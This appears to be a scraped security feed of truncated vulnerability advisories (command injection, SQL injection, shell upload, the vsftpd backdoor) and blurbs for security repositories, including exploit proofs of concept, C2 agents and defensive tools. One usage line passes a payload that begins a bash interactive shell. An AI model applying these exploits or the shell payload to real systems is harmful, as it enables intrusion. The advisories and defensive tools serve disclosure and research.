PT-2026-109647

FusionPBX through 5.6.5 contains an OS command injection vulnerability in call recordings::download that allows unauthenticated attackers to execute commands by placing calls with malicious caller ID values. When the record name filename template is enabled, attackers can embed shell metacharacte...

PT-2026-109730

Name of the Vulnerable Software and Affected Versions OpenSpug Spug versions 3.x through 3.4.0 OpenSpug Spug versions 4.x through 4.0.1 Description A flaw in the File Transfer component allows remote attackers to perform OS command injection via a manipulation of the /exec/transfer endpoint. OS...

CVE-2026-96662: Improper Neutralization of Special Elements used in an SQL Command

The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to generic SQL Injection via 'bookingserviceid' Parameter in all versions up to, and including, 5.7.2 due to insufficient escaping on the user supplied parameter and lack of...

CVE-2026-40800: Improper Neutralization of Special Elements used in an SQL Command

Subscriber SQL Injection in ELEX WooCommerce Advanced Bulk Edit Products, Prices & Attributes = 1.5.3 versions...

AUTOM8N WHM 82821f7 OS Command Injection

AUTOM8N WHM version through commit 82821f7 contains an OS command injection vulnerability in CGI scripts that pass unsanitized form parameters to shell commands. An authenticated WHM user can inject commands through the user parameter of syncdocroots.cgi...

RockyLinux 10 : dovecot (RLSA-2026:79371)

The remote RockyLinux 10 host has packages installed that are affected by multiple vulnerabilities as referenced in the RLSA-2026:79371 advisory. dovecot: Dovecot: Denial of Service via IMAP ID command with excessive parameters CVE-2026-42391 dovecot: Dovecot: Authentication bypass via incorrect...

Linux Distros Unpatched Vulnerability : CVE-2026-107819

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - MariaDB Connector/C is a C and C++ client library for connecting applications to MariaDB and MySQL databases. From 3.4.1 until 3.4.10, the MariaDB Connector/C...

WordPress Bricksforge 3.1.8.9 Shell Upload

WordPress Bricksforge plugin versions through 3.1.8.9 contain an unauthenticated arbitrary file upload vulnerability in the temporaryFileUploads parameter. The proof of concept uploads a GIF/PHP polyglot, writes it with a .php extension, and verifies command execution...

reNgine 2.2.0 OS Command Injection

reNgine versions through 2.2.0 contain an OS command injection in customheaders scan-engine configuration. A crafted header can break shell quoting in scan tasks and execute a command in the Celery worker container. https://packetstorm.news/download/235093...

vsftpd 2.3.4 Backdoor Command Execution

vsftpd version 2.3.4 contains a backdoor that opens a shell on TCP port 6200 after a specially crafted FTP USER command. This proof of concept triggers the backdoor and connects to the resulting shell. https://packetstorm.news/download/235094...

CVE-2026-87781: Improper Neutralization of Special Elements used in an SQL Command

The LTL Freight Quotes WordPress plugin before 4.2.19 does not sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users...

cupspot-2024-47177

CUPS Honeypot Overview This project implements a honeypot for capturing attempted exploitations of vulnerabilities in the CUPS Common UNIX Printing System. Specifically, it is designed to monitor for exploitation attempts related to CVE-2024-47177. This vulnerability allows remote command executi...

CVE-2025-31125

CVE-2025-31125 Vulnerability Detection Tool This is a Python script tool for detecting CVE-2025-31125 vulnerability. Author Information Author: 大智 Date: 2025-04-01 Features Supports single target detection Supports batch target detection Automatically saves detection results Colored output...

aws-suture

tl;dr $ git clone [email protected]:pblittle/suture.git $ cd suture $ bundle install $ bundle exec ./bin/suture --help $ bundle exec ./bin/suture check Suture Suture is a tool for running arbitrary commands against your AWS EC2 instances. You can run it against an individual instance or an...

CVE-2026-66804-CrossDevice-LPE

CVE-2026-66804: Microsoft Windows Cross Device Service Elevation of Privilege Vulnerability Proof of concept for a CrossDevice/FrameServer LPE I reported to MSRC which received CVE-2026-66804. It affects Windows 10 and Windows 11. Vulnerability Windows registers this machine-wide COM server:...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 This is a exploit of CVE-2021-3205 a web vulnerability to command injection on search.php path, this exploit allows execute commands. Requirements optparse, signal, requests Usage ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i &...

cve-2026-39987

cve-2026-39987 Installation • Usage • Examples I'm just trying out Go :D Btw: CVE-2026-39987 PoC: Marimo:PORT/terminal/ws REDACTED@REDACTED:$ uname -a Linux ... REDACTED@REDACTED:$ exit exit INF:normalclose websocket: close 1000 normal: Terminal session ended Custom Command -c: cve-2026-39987 -t...

secret_handshake

Secret Handshake - A Malware C2 Channel Using x509 Certs Over mTLS Motivation First off, why would I open source this? MITRE ATT&CK only talks about stolen or self-signed certs, and NDRs as far as I can tell pay very little attention to the content of x509 certificates outside of who is the issui...

kavanoz

🫙 kavanoz 🫙 Kavanoz jar in turkish is a tool to statically unpack common android banker malware. Do you ever wanted to get payload from packed malware without running android emulator ? Me neither : But here is a tool anyway. 👀 Installation pip install kavanoz To install from source, clone the...

gopher47

gopher47 A third-party Gopher Assassin for the Havoc Framework it's like the videogame :D What is This? 🤔 This is a 3rd Party agent for the Havoc C2 written in Golang, mainly written as a learning project, but I'm sure it's still useful. By the time this is out, you can read more about what and w...